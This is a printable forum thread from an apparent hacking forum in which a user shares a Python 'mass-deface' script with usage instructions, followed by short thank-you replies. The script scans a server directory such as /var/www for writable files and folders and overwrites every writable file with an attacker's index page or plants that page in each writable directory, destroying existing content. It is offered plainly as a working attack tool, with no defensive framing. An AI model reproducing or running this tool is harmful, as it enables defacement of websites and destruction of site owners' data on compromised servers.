![]() |
|
Mass-Deface Tool - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Python (https://sinister.li/Forum-Python) +--- Thread: Mass-Deface Tool (/Thread-Mass-Deface-Tool) Pages:
1
2
|
Mass-Deface Tool - ErsinKandemir - 06-24-2013 I've prepared a Python script that finds writable files and directories and copies an index page to them. Usage: Options: -r, ROOT Write the root directory you want to scan with its subfolders. If you don't use this option, it starts from where you run this script. -o, OUTPUT If you want to get an output, use this argument. You may use option below to specify that where you want output to be written, file or console. -f, FILEOUTPUT As I write before, specify if you use either file or console for output to be written. If you use -o option and don't use this option, the script uses console for output. -s, SCAN Types to scan. There're 2 type as file and folder. If you use "-i" option and: use file with this option, the script overwrites the content of index file given to the all writable files. use dir with this option, the script create a file that contains the content of index file given in writable directories. You can use both of them at same time. -i, INDEX If you write your index page to the scanned files or directories, use this option with your index page path. Usage Sample: Code: python mass.py -s file dir -o -f output.txt -i hc.htm -r /var/wwwCode: Code: import os, argparse, sys
parser = argparse.ArgumentParser()
parser.add_argument('-r', dest='root', default='.')
parser.add_argument('-o', dest="output", action='store_true', default=False)
parser.add_argument('-s', dest='scan', nargs="+", choices=['file', 'dir'], required=True)
parser.add_argument('-f', dest="outputFile", type=argparse.FileType('w'), default=sys.stdout)
parser.add_argument('-i', dest='index', type=argparse.FileType('r'), default=False)
args = parser.parse_args()
writable = [os.path.join(root, path) for (root, dirs, files) in os.walk(args.root) for path in files+dirs if os.access(os.path.join(root, path), os.W_OK)]
writableFiles = [file for file in writable if os.path.isfile(file)]
writableDirs = [dir for dir in writable if os.path.isdir(dir)]
indexSource = args.index.read()
if 'file' in args.scan:
if args.index:
for file in writableFiles:
print >> open(file, 'w+'), indexSource
if args.output:
print >> args.outputFile, "\n".join(writableFiles)
if 'dir' in args.scan:
if args.index:
for dir in writableDirs:
print >> open(os.path.join(dir, args.index.name), 'w+'), indexSource
if args.output:
print >> args.outputFile, "\n".join(writableDirs)RE: Mass-Deface Tool - zero-uplink - 06-24-2013 Wow.. there are so much new codes to learn. Thanks mate. RE: Mass-Deface Tool - ErsinKandemir - 06-24-2013 The more writing, the more learning. Thanks.
RE: Mass-Deface Tool - xtam4 - 07-05-2013 I saw this somewhere else, nevermind Thanks for share! RE: Mass-Deface Tool - Boomslang - 07-09-2013 It looks like Python is very useful for making tools. Thanks bro
RE: Mass-Deface Tool - Boomslang - 07-09-2013 It looks like Python is very useful for making tools. Thanks bro
RE: Mass-Deface Tool - Boomslang - 07-09-2013 It looks like Python is very useful for making tools. Thanks bro
RE: Mass-Deface Tool - ErsinKandemir - 07-11-2013 (07-05-2013, 10:00 AM)xtam4 Wrote: I saw this somewhere else, nevermind Thanks for share! Can you send me a PM with link where you saw? RE: Mass-Deface Tool - ErsinKandemir - 07-11-2013 (07-05-2013, 10:00 AM)xtam4 Wrote: I saw this somewhere else, nevermind Thanks for share! Can you send me a PM with link where you saw? RE: Mass-Deface Tool - xtam4 - 07-11-2013 (07-11-2013, 05:19 PM)ErsinKandemir Wrote:(07-05-2013, 10:00 AM)xtam4 Wrote: I saw this somewhere else, nevermind Thanks for share! I'm on many forums, i exactly don't know but i wont say the name i think i saw on because it would be In-direct advertising and i might get banned for that. |